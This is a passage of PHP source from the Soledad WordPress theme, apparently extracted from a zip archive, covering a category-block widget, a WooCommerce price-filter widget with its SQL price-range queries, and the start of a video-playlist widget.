			$maxitems   = isset( $instance['maxitems'] ) ? $instance['maxitems'] : '';

			$ratio        = isset( $instance['ratio'] ) ? $instance['ratio'] : '';
			$number_fsize = isset( $instance['number_fsize'] ) ? $instance['number_fsize'] : '';
			$title_fsize  = isset( $instance['title_fsize'] ) ? $instance['title_fsize'] : '';


			$categories_exclude = ! empty( $instance['categories_exclude'] ) ? explode( ',', $instance['categories_exclude'] ) : array();
			$categories_include = ! empty( $instance['categories_include'] ) ? explode( ',', $instance['categories_include'] ) : array();

			$this->penci_category_brand_block( array(
				'style'        => $style,
				'layout'       => $layout,
				'count'        => $show_count,
				'bgs'          => $show_bgs,
				'hide_empty'   => $hide_empty,
				'maxitems'     => $maxitems,
				'exclude'      => $categories_exclude,
				'include'      => $categories_include,
				'ratio'        => $ratio,
				'title_fsize'  => $title_fsize,
				'number_fsize' => $number_fsize,
			) );

			echo( $args['after_widget'] );
		}

		public function penci_category_brand_block( $args = array() ) {

			// Default Args
			$args = wp_parse_args( $args, array(
				'title'        => false,
				'style'        => false,
				'layout'       => false,
				'count'        => false,
				'bgs'          => false,
				'parent'       => false,
				'before'       => false,
				'after'        => false,
				'hide_empty'   => true,
				'maxitems'     => '',
				'exclude'      => '',
				'include'      => '',
				'ratio'        => '',
				'title_fsize'  => '',
				'number_fsize' => '',
			) );

			extract( $args );

			// Block Style
			$style = ! empty( $style ) ? 'categories-block-' . $style : 'categories-block-vertical';

			// Block Layout
			if ( ! empty( $layout ) ) {
				$columns = explode( '-', $layout );
				$layout  = 'categories-layout-wrap';
				$layout  .= ! empty( $columns[1] ) ? ' categories-wrap-' . $columns[1] : '';
			} else {
				$layout = 'categories-layout-scroll';
			}

			$get_args = array(
				'hide_empty' => $hide_empty,
				'parent'     => $parent,
				'number'     => $maxitems,
			);

			if ( $exclude ) {
				$get_args['exclude'] = is_array( $exclude ) ? $exclude : explode( ',', $exclude );
			}

			if ( $include ) {
				$get_args['include'] = is_array( $include ) ? $include : explode( ',', $include );
			}

			// Get the categories List
			$cats = get_categories( $get_args );

			$id = 'penci-categories-stylist-' . rand();


			if ( ! empty( $cats ) ) {

				// Get the categories custom Settings
				$penci_cats_options = get_option( 'penci_cats_options' );


				echo( $before ); ?>

                <div id="<?php echo esc_attr( $id ); ?>" class="categories-block <?php echo $style ?>">

                    <ul class="<?php echo $layout ?>">
						<?php

						foreach ( $cats as $cat ) {

							$cat_class    = array( 'cat-block-' . $cat->term_id );
							$penci_cat_bg = get_default_term_thumb_url( $cat->term_id, 'penci-masonry-thumb' );

							$brand_bg = false;
							if ( $penci_cat_bg && $bgs ) {
								$cat_class[] = 'has-bg';
							}
							?>

                            <li class="<?php echo join( ' ', $cat_class ) ?>">
								<?php if ( $penci_cat_bg && $bgs ) { ?>
                                    <div <?php echo penci_layout_bg( $penci_cat_bg ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder">
	                                    <?php echo penci_layout_img( $penci_cat_bg ); ?>
                                    </div>
								<?php } ?>
                                <a href="<?php echo get_category_link( $cat->term_id ) ?>">
                                    <div class="category-title"><?php echo esc_html( $cat->name ) ?></div>
									<?php if ( $count ) { ?>
                                        <span class="category-count"><?php echo esc_html( $cat->count ) ?></span>
									<?php } ?>
                                </a>
                            </li>

							<?php
						}
						?>
                    </ul>
                </div>
				<?php

				echo '<style>';

				if ( $ratio ) {
					echo '#' . $id . ' li{padding-top:' . esc_attr( $ratio ) . 'px;padding-bottom:' . esc_attr( $ratio ) . 'px}';
				}

				if ( $title_fsize ) {
					echo '#' . $id . ' .category-title{font-size:' . esc_attr( $title_fsize ) . ';}';
				}

				if ( $number_fsize ) {
					echo '#' . $id . ' .category-count{font-size:' . esc_attr( $number_fsize ) . ';}';
				}

				echo '</style>';

				echo( $after );
			}
		}

		/**
		 * Handles updating settings for widget instance.
		 */
		public function update( $new_instance, $old_instance ) {
			$instance          = $old_instance;
			$instance['title'] = sanitize_text_field( $new_instance['title'] );

			$instance['style']  = $new_instance['style'];
			$instance['layout'] = $new_instance['layout'];

			$instance['show_bgs']   = ! empty( $new_instance['show_bgs'] ) ? 'true' : false;
			$instance['show_icon']  = ! empty( $new_instance['show_icon'] ) ? 'true' : false;
			$instance['show_count'] = ! empty( $new_instance['show_count'] ) ? 'true' : false;

			$instance['categories_exclude'] = $new_instance['categories_exclude'];
			$instance['categories_include'] = $new_instance['categories_include'];
			$instance['hide_empty']         = $new_instance['hide_empty'];
			$instance['maxitems']           = $new_instance['maxitems'];
			$instance['ratio']              = $new_instance['ratio'];
			$instance['title_fsize']        = $new_instance['title_fsize'];
			$instance['number_fsize']       = $new_instance['number_fsize'];

			return $instance;
		}

		/**
		 * Outputs the settings form for the widget.
		 */
		public function form( $instance ) {
			$defaults = array( 'title' => esc_html__( 'Categories', 'soledad' ) );
			$instance = wp_parse_args( (array) $instance, $defaults );

			$title  = ! empty( $instance['title'] ) ? $instance['title'] : '';
			$style  = ! empty( $instance['style'] ) ? $instance['style'] : '';
			$layout = ! empty( $instance['layout'] ) ? $instance['layout'] : '';

			$show_bgs   = ! empty( $instance['show_bgs'] ) ? 'true' : false;
			$show_count = ! empty( $instance['show_count'] ) ? 'true' : false;

			$categories_exclude = ! empty( $instance['categories_exclude'] ) ? $instance['categories_exclude'] : '';
			$categories_include = ! empty( $instance['categories_include'] ) ? $instance['categories_include'] : '';

			// Layout Options
			$layouts_list = array(
				''           => esc_html__( 'Horizontal', 'soledad' ),
				'vertical-1' => esc_html__( 'Vertical', 'soledad' ),
			);

			$style_list = array(
				'horizontal' => esc_html__( 'Style 1', 'soledad' ),
				'vertical'   => esc_html__( 'Style 2', 'soledad' ),
			);


			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $title ); ?>" class="widefat" type="text"/>
            </p>


            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"><?php esc_html_e( 'Style:', 'soledad' ) ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat">
					<?php
					foreach ( $style_list as $style_id => $style_text ) { ?>
                        <option value="<?php echo esc_attr( $style_id ) ?>" <?php selected( $style, $style_id ); ?>><?php echo esc_attr( $style_text ) ?></option>
						<?php
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'layout' ) ); ?>"><?php esc_html_e( 'Layout:', 'soledad' ) ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'layout' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'layout' ) ); ?>" class="widefat">
					<?php
					foreach ( $layouts_list as $layout_id => $layout_text ) { ?>
                        <option value="<?php echo esc_attr( $layout_id ) ?>" <?php selected( $layout, $layout_id ); ?>><?php echo esc_attr( $layout_text ) ?></option>
						<?php
					}
					?>
                </select>
            </p>

            <p>
                <input id="<?php echo esc_attr( $this->get_field_id( 'show_count' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_count' ) ); ?>"
                       value="true" <?php checked( $show_count, 'true' ); ?> type="checkbox"/>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_count' ) ); ?>"><?php esc_html_e( 'Show Number of Posts', 'soledad' ) ?></label>
            </p>

            <p>
                <input id="<?php echo esc_attr( $this->get_field_id( 'show_bgs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_bgs' ) ); ?>"
                       value="true" <?php checked( $show_bgs, 'true' ); ?> type="checkbox"/>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_bgs' ) ); ?>"><?php esc_html_e( 'Show Backgrounds', 'soledad' ) ?></label>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ratio' ) ); ?>">Custom Image Padding Top &
                    Bottom</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'ratio' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ratio' ) ); ?>"
                       value="<?php echo isset( $instance['ratio'] ) ? $instance['ratio'] : ''; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>">Custom Font Size for
                    Category Titles</label>
                <input type="text" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_fsize' ) ); ?>"
                       value="<?php echo isset( $instance['title_fsize'] ) ? $instance['title_fsize'] : ''; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number_fsize' ) ); ?>">Custom Font Size for
                    Category Counts</label>
                <input type="text" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'number_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number_fsize' ) ); ?>"
                       value="<?php echo isset( $instance['number_fsize'] ) ? $instance['number_fsize'] : ''; ?>">
            </p>

            <p>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_empty' ) ); ?>" <?php isset( $instance['hide_empty'] ) ? checked( (bool) $instance['hide_empty'], true ) : ''; ?> />
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"><?php esc_html_e( 'Show empty term?', 'soledad' ); ?></label>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'maxitems' ) ); ?>">Limit Number of Categories to
                    Show</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'maxitems' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'maxitems' ) ); ?>"
                       value="<?php echo isset( $instance['maxitems'] ) ? $instance['maxitems'] : ''; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'categories_include' ) ); ?>"><?php esc_html_e( 'Include Categories', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'categories_include' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'categories_include' ) ); ?>"
                       value="<?php echo esc_attr( $categories_include ); ?>" class="widefat" type="text"/>
                <br/>
				<?php esc_html_e( 'Enter a category ID, or IDs separated by comma.', 'soledad' ); ?>
            </p>


            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'categories_exclude' ) ); ?>"><?php esc_html_e( 'Exclude Categories', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'categories_exclude' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'categories_exclude' ) ); ?>"
                       value="<?php echo esc_attr( $categories_exclude ); ?>" class="widefat" type="text"/>
                <br/>
				<?php esc_html_e( 'Enter a category ID, or IDs separated by comma.', 'soledad' ); ?>
            </p>


			<?php
		}
	}

}
PK     N\P @  @    inc/widgets/price_filter.phpnu [        <?php
/**
 * Price filter step
 *
 */

if ( ! class_exists( 'Penci_Widget_Price_Filter' ) ) {
	class Penci_Widget_Price_Filter extends WPH_Widget {

		private $_check_ranges = false;

		function __construct() {

			// Configure widget array
			$args = array(
				// Widget Backend label
				'label'       => penci_get_theme_name('.Soledad',true).esc_html__( 'Price filter', 'soledad' ),
				// Widget Backend Description								
				'description' => esc_html__( 'Price filter list', 'soledad' ),
				'slug'        => 'soledad-price-filter',
			);

			// Configure the widget fields

			// fields array
			$args['fields'] = array(
				array(
					'id'   => 'title',
					'type' => 'text',
					'std'  => esc_html__( 'Price filter', 'soledad' ),
					'name' => esc_html__( 'Title', 'soledad' )
				),
				array(
					'id'          => 'show_ranges',
					'type'        => 'checkbox',
					'name'        => esc_html__( 'Show empty price ranges', 'soledad' ),
					'description' => esc_html__( 'May increase this widget performance if you have a lot of products in your store.', 'soledad' ),
				),
			);

			$this->_check_ranges = true;

			// create widget
			$this->create_widget( $args );
		}

		// Output function
		// Based on woo widget @version  2.3.0
		function widget( $args, $instance ) {
			global $wp, $wp_the_query;

			if ( ! is_post_type_archive( 'product' ) && ! is_tax( get_object_taxonomies( 'product' ) ) ) {
				return;
			}

			if ( ! $wp_the_query->post_count ) {
				return;
			}

			$min_price = isset( $_GET['min_price'] ) ? esc_attr( $_GET['min_price'] ) : '';
			$max_price = isset( $_GET['max_price'] ) ? esc_attr( $_GET['max_price'] ) : '';

			// Find min and max price in current result set
			//WC 3.6.0
			if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
				$prices = $this->get_filtered_price();
			} else {
				$prices = $this->get_filtered_price_new();
			}

			$min = apply_filters( 'woocommerce_price_filter_widget_min_amount', floor( $prices->min_price ) );
			$max = apply_filters( 'woocommerce_price_filter_widget_max_amount', ceil( $prices->max_price ) );

			if ( $min === $max ) {
				return;
			}

			echo wp_kses_post( $args['before_widget'] );

			if ( $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance ) ) {
				echo wp_kses_post( $args['before_title'] ) . $title . wp_kses_post( $args['after_title'] );
			}

			/**
			 * Adjust max if the store taxes are not displayed how they are stored.
			 * Min is left alone because the product may not be taxable.
			 * Kicks in when prices excluding tax are displayed including tax.
			 */
			if ( wc_tax_enabled() && 'incl' === get_option( 'woocommerce_tax_display_shop' ) && ! wc_prices_include_tax() ) {
				$tax_classes = array_merge( array( '' ), WC_Tax::get_tax_classes() );
				$class_max   = $max;

				foreach ( $tax_classes as $tax_class ) {
					if ( $tax_rates = WC_Tax::get_rates( $tax_class ) ) {
						$class_max = $max + WC_Tax::get_tax_total( WC_Tax::calc_exclusive_tax( $max, $tax_rates ) );
					}
				}

				$max = $class_max;
			}

			$show_ranges = isset( $instance['show_ranges'] ) ? $instance['show_ranges'] : true;

			$links = $this->generate_price_links( $min, $max, $min_price, $max_price, $show_ranges );

			if ( ! empty( $links ) ) {
				?>
                <div class="penci-price-filter">
                    <ul>
						<?php foreach ( $links as $link ) : ?>
                            <li>
                                <a rel="nofollow noopener" href="<?php echo esc_url( $link['href'] ); ?>"
                                   class="<?php echo esc_attr( $link['class'] ); ?>"><?php echo wp_kses( $link['title'], array(
										'br'     => array(),
										'i'      => array(),
										'b'      => array(),
										'u'      => array(),
										'em'     => array(),
										'del'    => array(),
										'a'      => array(
											'href'   => true,
											'class'  => true,
											'target' => true,
											'title'  => true,
											'rel'    => true,
										),
										'strong' => array(),
										'span'   => array(
											'style' => true,
											'class' => true,
										),
									) ); ?></a>
                            </li>
						<?php endforeach; ?>
                    </ul>
                </div>
				<?php
			}

			echo wp_kses_post( $args['after_widget'] );
		}

		/**
		 * Get filtered min price for current products.
		 * @return int
		 */
		protected function get_filtered_price() {
			global $wpdb, $wp_the_query;

			$args       = $wp_the_query->query_vars;
			$tax_query  = isset( $args['tax_query'] ) ? $args['tax_query'] : array();
			$meta_query = isset( $args['meta_query'] ) ? $args['meta_query'] : array();

			if ( ! empty( $args['taxonomy'] ) && ! empty( $args['term'] ) ) {
				$tax_query[] = array(
					'taxonomy' => $args['taxonomy'],
					'terms'    => array( $args['term'] ),
					'field'    => 'slug',
				);
			}

			foreach ( $meta_query as $key => $query ) {
				if ( ! empty( $query['price_filter'] ) || ! empty( $query['rating_filter'] ) ) {
					unset( $meta_query[ $key ] );
				}
			}

			$meta_query = new WP_Meta_Query( $meta_query );
			$tax_query  = new WP_Tax_Query( $tax_query );

			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );

			$sql = "SELECT min( FLOOR( price_meta.meta_value ) ) as min_price, max( CEILING( price_meta.meta_value ) ) as max_price FROM {$wpdb->posts} ";
			$sql .= " LEFT JOIN {$wpdb->postmeta} as price_meta ON {$wpdb->posts}.ID = price_meta.post_id " . $tax_query_sql['join'] . $meta_query_sql['join'];
			$sql .= " 	WHERE {$wpdb->posts}.post_type = 'product'
						AND {$wpdb->posts}.post_status = 'publish'
						AND price_meta.meta_key IN ('" . implode( "','", array_map( 'esc_sql', apply_filters( 'woocommerce_price_filter_meta_keys', array( '_price' ) ) ) ) . "')
						AND price_meta.meta_value > '' ";
			$sql .= $tax_query_sql['where'] . $meta_query_sql['where'];

			return $wpdb->get_row( $sql );
		}

		protected function get_filtered_price_new() {
			global $wpdb;

			$args       = WC()->query->get_main_query()->query_vars;
			$tax_query  = isset( $args['tax_query'] ) ? $args['tax_query'] : array();
			$meta_query = isset( $args['meta_query'] ) ? $args['meta_query'] : array();

			if ( ! is_post_type_archive( 'product' ) && ! empty( $args['taxonomy'] ) && ! empty( $args['term'] ) ) {
				$tax_query[] = array(
					'taxonomy' => $args['taxonomy'],
					'terms'    => array( $args['term'] ),
					'field'    => 'slug',
				);
			}

			foreach ( $meta_query + $tax_query as $key => $query ) {
				if ( ! empty( $query['price_filter'] ) || ! empty( $query['rating_filter'] ) ) {
					unset( $meta_query[ $key ] );
				}
			}

			$meta_query = new WP_Meta_Query( $meta_query );
			$tax_query  = new WP_Tax_Query( $tax_query );
			$search     = WC_Query::get_main_search_query_sql();

			$meta_query_sql   = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql    = $tax_query->get_sql( $wpdb->posts, 'ID' );
			$search_query_sql = $search ? ' AND ' . $search : '';

			$sql = "
				SELECT min( min_price ) as min_price, MAX( max_price ) as max_price
				FROM {$wpdb->wc_product_meta_lookup}
				WHERE product_id IN (
					SELECT ID FROM {$wpdb->posts}
					" . $tax_query_sql['join'] . $meta_query_sql['join'] . "
					WHERE {$wpdb->posts}.post_type IN ('" . implode( "','", array_map( 'esc_sql', apply_filters( 'woocommerce_price_filter_post_type', array( 'product' ) ) ) ) . "')
					AND {$wpdb->posts}.post_status = 'publish'
					" . $tax_query_sql['where'] . $meta_query_sql['where'] . $search_query_sql . '
				)';

			$sql = apply_filters( 'woocommerce_price_filter_sql', $sql, $meta_query_sql, $tax_query_sql );

			return $wpdb->get_row( $sql ); // WPCS: unprepared SQL ok.
		}

		private function generate_price_links( $min, $max, $min_price, $max_price, $show_ranges ) {
			$links = array();

			// Remember current filters/search
			$link          = penci_shop_page_link( true );
			$link_no_price = remove_query_arg( 'min_price', $link );
			$link_no_price = remove_query_arg( 'max_price', $link_no_price );

			$need_more = false;

			$steps = 4;
			//$steps = $max / $step_value;

			$step_value = $max / $steps;

			if ( $step_value < 10 ) {
				$step_value = 10;
			}

			$step_value = round( $step_value, - 1 );

			$all_link_class = '';
			if ( empty( $min_price ) && empty( $max_price ) ) {
				$all_link_class = 'current-state';
			}
			// Link to all prices
			$links[] = array(
				'href'  => $link_no_price,
				'title' => esc_html__( 'All', 'soledad' ),
				'class' => $all_link_class
			);

			for ( $i = 0; $i < (int) $steps; $i ++ ) {

				$step_title = $step_class = $href = '';

				$step_min = $step_value * $i;

				$step_max = $step_value * ( $i + 1 );

				if ( $step_max > $max ) {
					$need_more = true;
					$i ++;
					break;
				}

				$href = add_query_arg( 'min_price', $step_min, $link );
				$href = add_query_arg( 'max_price', $step_max, $href );

				$step_title = wc_price( $step_min ) . ' - ' . wc_price( $step_max );

				if ( ! empty( $min_price ) && ! empty( $max_price ) && ( $min_price >= $step_min && $max_price <= $step_max )
				     || ( $i == 0 && ! empty( $max_price ) && $max_price <= $step_max )
				) {
					$step_class = 'current-state';
				}

				//WC 3.6.0
				if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
					if ( $this->check_range( $step_min, $step_max, $show_ranges ) ) {
						$links[] = array(
							'href'  => $href,
							'title' => $step_title,
							'class' => $step_class
						);
					}
				} else {
					if ( $this->check_range_new( $step_min, $step_max, $show_ranges ) ) {
						$links[] = array(
							'href'  => $href,
							'title' => $step_title,
							'class' => $step_class
						);
					}
				}
			}

			if ( $max > $step_max ) {
				$need_more = true;
				$step_min  = $step_value * $i;
			}

			if ( $need_more ) {

				$step_title = $step_class = $href = '';

				$href = add_query_arg( 'min_price', $step_min, $link );
				$href = add_query_arg( 'max_price', $max, $href );

				$step_title = wc_price( $step_min ) . ' +';

				if ( $min_price >= $step_min && $max_price <= $max ) {
					$step_class = 'current-state';
				}

				//WC 3.6.0
				if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
					if ( $this->check_range( $step_min, $step_max, $show_ranges ) ) {
						$links[] = array(
							'href'  => $href,
							'title' => $step_title,
							'class' => $step_class
						);
					}
				} else {
					if ( $this->check_range_new( $step_min, $step_max, $show_ranges ) ) {
						$links[] = array(
							'href'  => $href,
							'title' => $step_title,
							'class' => $step_class
						);
					}
				}
			}

			return $links;
		}

		private function check_range( $min, $max, $show_ranges ) {
			global $wpdb;

			if ( ! $this->_check_ranges || $show_ranges ) {
				return true;
			}

			$tax_query  = WC_Query::get_main_tax_query();
			$meta_query = WC_Query::get_main_meta_query();

			$meta_query = new WP_Meta_Query( $meta_query );
			$tax_query  = new WP_Tax_Query( $tax_query );

			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );

			// Generate query
			$query           = array();
			$query['select'] = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as range_count";
			$query['from']   = "FROM {$wpdb->posts}";

			$query['join'] = "
				INNER JOIN {$wpdb->term_relationships} AS term_relationships ON {$wpdb->posts}.ID = term_relationships.object_id
				INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
				INNER JOIN {$wpdb->terms} AS terms USING( term_id )
				INNER JOIN {$wpdb->postmeta} ON ( {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id )
				" . $tax_query_sql['join'];


			$query['where'] = "
				WHERE {$wpdb->posts}.post_type IN ( 'product' )
				AND {$wpdb->posts}.post_status = 'publish'
				AND {$wpdb->postmeta}.meta_key = '_price' AND CAST({$wpdb->postmeta}.meta_value AS DECIMAL) BETWEEN '" . $min . "' AND '" . $max . "'
				" . $tax_query_sql['where'] . "
			";

			if ( method_exists( 'WC_Query', 'get_main_search_query_sql' ) && $search = WC_Query::get_main_search_query_sql() ) {

				$query['where'] .= ' AND ' . $search;

				if ( get_theme_mod( 'penci_woo_search_by_sku' ) ) {
					// search for variations with a matching sku and return the parent.
					$sku_to_parent_id = $wpdb->get_col( $wpdb->prepare( "SELECT p.post_parent as post_id FROM {$wpdb->posts} as p join {$wpdb->postmeta} pm on p.ID = pm.post_id and pm.meta_key='_sku' and pm.meta_value LIKE '%%%s%%' where p.post_parent <> 0 group by p.post_parent", wc_clean( $_GET['s'] ) ) );

					//Search for a regular product that matches the sku.
					$sku_to_id = $wpdb->get_col( $wpdb->prepare( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_sku' AND meta_value LIKE '%%%s%%';", wc_clean( $_GET['s'] ) ) );

					$search_ids = array_merge( $sku_to_id, $sku_to_parent_id );

					$search_ids = array_filter( array_map( 'absint', $search_ids ) );

					if ( sizeof( $search_ids ) > 0 ) {
						$query['where'] = str_replace( '))', ") OR ({$wpdb->posts}.ID IN (" . implode( ',', $search_ids ) . ")))", $query['where'] );
					}
				}

			}

			$query   = implode( ' ', $query );
			$results = $wpdb->get_var( $query );

			return $results > 0;
		}

		private function check_range_new( $min, $max, $show_ranges ) {
			global $wpdb;

			if ( ! $this->_check_ranges || $show_ranges ) {
				return true;
			}

			$tax_query  = WC_Query::get_main_tax_query();
			$meta_query = WC_Query::get_main_meta_query();

			$meta_query = new WP_Meta_Query( $meta_query );
			$tax_query  = new WP_Tax_Query( $tax_query );

			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );

			// Generate query
			$query           = array();
			$query['select'] = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as range_count";
			$query['from']   = "FROM {$wpdb->posts}";

			$query['join'] = "
				INNER JOIN {$wpdb->term_relationships} AS term_relationships ON {$wpdb->posts}.ID = term_relationships.object_id
				INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
				INNER JOIN {$wpdb->terms} AS terms USING( term_id )
				INNER JOIN {$wpdb->wc_product_meta_lookup} ON ( {$wpdb->posts}.ID = {$wpdb->wc_product_meta_lookup}.product_id )
				" . $tax_query_sql['join'];


			$query['where'] = "
				WHERE {$wpdb->posts}.post_type IN ( 'product' )
				AND {$wpdb->posts}.post_status = 'publish'
				AND {$wpdb->wc_product_meta_lookup}.min_price >= '" . $min . "' AND {$wpdb->wc_product_meta_lookup}.max_price <= '" . $max . "'
				" . $tax_query_sql['where'] . "
			";

			if ( method_exists( 'WC_Query', 'get_main_search_query_sql' ) && $search = WC_Query::get_main_search_query_sql() ) {

				$query['where'] .= ' AND ' . $search;

				if ( get_theme_mod( 'penci_woo_search_by_sku' ) ) {
					// search for variations with a matching sku and return the parent.
					$sku_to_parent_id = $wpdb->get_col( $wpdb->prepare( "SELECT p.post_parent as post_id FROM {$wpdb->posts} as p join {$wpdb->wc_product_meta_lookup} ml on p.ID = ml.product_id and ml.sku LIKE '%%%s%%' where p.post_parent <> 0 group by p.post_parent", wc_clean( $_GET['s'] ) ) );

					//Search for a regular product that matches the sku.
					$sku_to_id = $wpdb->get_col( $wpdb->prepare( "SELECT product_id FROM {$wpdb->wc_product_meta_lookup} WHERE sku LIKE '%%%s%%';", wc_clean( $_GET['s'] ) ) );

					$search_ids = array_merge( $sku_to_id, $sku_to_parent_id );

					$search_ids = array_filter( array_map( 'absint', $search_ids ) );

					if ( sizeof( $search_ids ) > 0 ) {
						$query['where'] = str_replace( '))', ") OR ({$wpdb->posts}.ID IN (" . implode( ',', $search_ids ) . ")))", $query['where'] );
					}
				}

			}

			$query   = implode( ' ', $query );
			$results = $wpdb->get_var( $query );

			return $results > 0;
		}

		function form( $instance ) {
			parent::form( $instance );
		}
	}

	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Widget_Price_Filter' );
	} );
}
PK     N\QBJF  JF    inc/widgets/video_playlist.phpnu [        <?php
add_action('widgets_init', 'penci_videoplaylist_widget');

function penci_videoplaylist_widget()
{
    register_widget('Penci_Video_Playlist_Widget');
}

if (!class_exists('Penci_Video_Playlist_Widget')) {
    class Penci_Video_Playlist_Widget extends WP_Widget
    {

        /**
         * Widget setup.
         */
        function __construct()
        {
            $widget_ops = array(
                'classname' => 'penci_videoplaylist_widget',
                'description' => esc_html__('Video playlist block', 'soledad')
            );
            $control_ops = array('id_base' => 'penci_videoplaylist_widget');

            global $wp_version;
            if (4.3 > $wp_version) {
                $this->WP_Widget('penci_videoplaylist_widget', penci_get_theme_name('.Soledad', true) . esc_html__('Penci Video Playlist', 'soledad'), $widget_ops, $control_ops);
            } else {
                parent::__construct('penci_videoplaylist_widget', penci_get_theme_name('.Soledad', true) . esc_html__('Penci Video Playlist', 'soledad'), $widget_ops, $control_ops);
            }
        }

        public function widget($args, $instance)
        {
            if (!isset($args['widget_id'])) {
                $args['widget_id'] = $this->id;
            }

            $title = isset($instance['title']) ? $instance['title'] : '';
            $title = apply_filters('widget_title', $title);

            $defaults = array(
                'title' => esc_html__('Video Playlist', 'soledad'),
                'video_type' => '',
                'yplaylist_id' => '',
                'yplaylist_limit' => 5,
                'penci_block_width' => 3,
                'videos_list' => '',
                'hide_duration' => '',
                'hide_order_number' => '',
                'video_list_title' => '',
                'video_title_length' => 10,
                'block_id' => rand(1000, 100000),
            );

            $settings = wp_parse_args((array)$instance, $defaults);

            if ((!$settings['videos_list'] && $settings['video_type'] == 'custom') || ($settings['video_type'] == 'youtube_playlist' && !$settings['yplaylist_id'])) {
                return;
            }
            ?>
            <?php echo $args['before_widget']; ?>
            <?php
            if ($title && !$settings['video_list_title']) {
                echo $args['before_title'] . $title . $args['after_title'];
            }
            $css_class = 'penci-block-vc penci-video_playlist';
            $css_class .= ' pencisc-column-1';
            ?>
            <div class="<?php echo esc_attr($css_class); ?>">
                <div class="penci-block_content">
                    <?php

                    if (!get_theme_mod('penci_youtube_api_key') && preg_match("#(?<=v=)[a-zA-Z0-9-]+(?=&)|(?<=v\/)[^&\n]+(?=\?)|(?<=v=)[^&\n]+|(?<=youtu.be/)[^&\n]+#", $settings['videos_list'], $matches)) {
                        echo '<strong>Youtube Api key</strong> is empty. Please go to Customize > General > Extra Options > YouTube API Key and enter an api key :)';
                    }

                    $cache_name = 'penci-shortcode-playlist-' . $settings['video_type'] . '-' . $settings['block_id'];
                    $cache_key = 'penci-shortcode-playlist-key' . $settings['video_type'] . '-' . $settings['block_id'];

                    $videos = preg_split('/\r\n|[\r\n]/', $settings['videos_list']);
                    $videos_list = get_transient($cache_name);
                    $videos_list_key = get_transient($cache_key);
                    $rand_video_list = rand(1000, 100000);


                    if ($settings['video_type'] != 'youtube_playlist' && (empty($videos_list) || $settings['videos_list'] != $videos_list_key)) {
                        $videos_list = \Penci_Video_List::get_video_infos($videos);
                        set_transient($cache_name, $videos_list, 18000);
                        set_transient($cache_key, $settings['videos_list'], 18000);
                    }

                    if ($settings['video_type'] == 'youtube_playlist' && (empty($videos_list) || $settings['yplaylist_id'] != $videos_list_key)) {
                        $videos_list = \Penci_Video_List::get_playlist_videos_ids($settings['yplaylist_id'], $settings['yplaylist_limit']);
                        set_transient($cache_name, $videos_list, 18000);
                        set_transient($cache_key, $settings['videos_list'], 18000);
                    }

                    $videos_count = is_array($videos_list) ? count((array)$videos_list) : 0;


                    if (!empty($videos_list)): ?>
